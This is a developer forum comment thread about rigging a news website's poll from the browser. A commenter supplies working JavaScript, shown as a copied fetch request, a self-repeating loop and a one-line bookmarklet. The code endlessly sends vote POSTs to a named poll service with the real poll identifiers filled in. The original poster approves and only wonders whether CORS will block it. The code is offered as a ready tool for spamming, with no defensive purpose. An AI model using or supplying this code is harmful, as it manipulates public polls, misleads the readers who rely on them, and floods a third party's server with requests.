DEV Community

Discussion on: I tried to mount a client-side "attack" on a news website poll by using only Javascript. And I failed miserably.

Collapse
lukeshiru profile image
LUKESHIRU • Edited

If you add ?pbdebug=true to the URL, you get a lot of useful information in the console about the sdk they used for the poll. It seems they have a script just before the div that holds the iframe with this on it:

(function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0];if(d.getElementById(id))return;js=d.createElement(s);js.id=id;js.src='https://embed.ex.co/sdk.js';fjs.parentNode.insertBefore(js,fjs);}(document,'script','exco-sdk'));
Enter fullscreen mode Exit fullscreen mode

So we can make use of their own sdk to reload the iframe without reloading the entire page, by creating a bookmarklet and doing that.

Still, my recommendation for this kind of things is to click on the answer you want to spam while you have the network panel of chrome devtools open, and then open the context menu over that network request and click "copy > copy as fetch". That will give you a code like this:

fetch("https://voting.ex.co/poll/", {
    "headers": {
        "accept": "application/x-www-form-urlencoded",
        "accept-language": "en-US,en;q=0.9",
        "content-type": "application/x-www-form-urlencoded",
        "sec-fetch-dest": "empty",
        "sec-fetch-mode": "cors",
        "sec-fetch-site": "cross-site",
        "sec-gpc": "1"
    },
    "referrer": "https://www.index.hr/",
    "referrerPolicy": "no-referrer-when-downgrade",
    "body": "sectionId=ae72bb2c-e667-43a2-ab2e-5eb6ace904f3&questionId=7e5e4ba0-4881-4f8c-9c6d-e006a656028d&resultId=6e22dbf0-bc5b-4a35-825d-b2c683b774a3&pageIdentifier=fb424e5b-f1b1-4383-a4d6-f8b5e1349782&allowedVoteCount=1",
    "method": "POST",
    "mode": "cors",
    "credentials": "omit"
});
Enter fullscreen mode Exit fullscreen mode

And you can change that code slightly to make it spam requests:

const vote = () =>
    fetch("https://voting.ex.co/poll/", {
        headers: {
            accept: "application/x-www-form-urlencoded",
            "accept-language": "en-US,en;q=0.9,es-AR;q=0.8,es;q=0.7",
            "content-type": "application/x-www-form-urlencoded",
            "sec-fetch-dest": "empty",
            "sec-fetch-mode": "cors",
            "sec-fetch-site": "cross-site",
            "sec-gpc": "1"
        },
        referrer: "https://www.index.hr/",
        referrerPolicy: "no-referrer-when-downgrade",
        body: new URLSearchParams({
            allowedVoteCount: "1",
            pageIdentifier: "fb424e5b-f1b1-4383-a4d6-f8b5e1349782",
            questionId: "7e5e4ba0-4881-4f8c-9c6d-e006a656028d",
            resultId: "6e22dbf0-bc5b-4a35-825d-b2c683b774a3",
            sectionId: "ae72bb2c-e667-43a2-ab2e-5eb6ace904f3"
        }).toString(),
        method: "POST",
        mode: "cors",
        credentials: "omit"
    }).then(vote);
vote();
Enter fullscreen mode Exit fullscreen mode

Every time the promise finishes, it calls the same function again. Then you can put that in a bookmarklet, and you have made a one-click spammer:

javascript:(()=>{const vote=()=>fetch("https://voting.ex.co/poll/",{headers:{accept:"application/x-www-form-urlencoded","accept-language":"en-US,en;q=0.9,es-AR;q=0.8,es;q=0.7","content-type":"application/x-www-form-urlencoded","sec-fetch-dest":"empty","sec-fetch-mode":"cors","sec-fetch-site":"cross-site","sec-gpc":"1"},referrer:"https://www.index.hr/",referrerPolicy:"no-referrer-when-downgrade",body:new URLSearchParams({allowedVoteCount:"1",pageIdentifier:"fb424e5b-f1b1-4383-a4d6-f8b5e1349782",questionId:"7e5e4ba0-4881-4f8c-9c6d-e006a656028d",resultId:"6e22dbf0-bc5b-4a35-825d-b2c683b774a3",sectionId:"ae72bb2c-e667-43a2-ab2e-5eb6ace904f3"}).toString(),method:"POST",mode:"cors",credentials:"omit"}).then(vote);vote();})();
Enter fullscreen mode Exit fullscreen mode

Hope it helps in future endeavors :D

Cheers!

Collapse
ispoljari profile image
Ivan Spoljaric Author • Edited

I love this approach.
It's doing the same thing I wanted in essence, but without the hassle with iframes. Much cleaner and streamlined.

CORS might be an issue though.. The iframe has it's own origin. And the server is configured to accept requests to /poll from within it. I think calling this endpoint from the console, or a bookmarklet, won't work because of this reason.

I will try it out anyway. Thx :)